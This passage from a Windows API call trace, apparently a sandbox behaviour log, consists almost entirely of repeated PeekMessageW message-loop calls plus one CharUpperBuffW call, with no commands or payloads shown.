wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.971] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.972] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.973] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.974] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.975] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.977] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.977] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.977] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.977] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.977] PeekMessageW (in: lpMsg=0xbf60cff870, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff870) returned 0 [0039.977] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbf60cff2f0) returned 0 [0039.978] PeekMessageW (in: lpMsg=0xbf60cff2f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 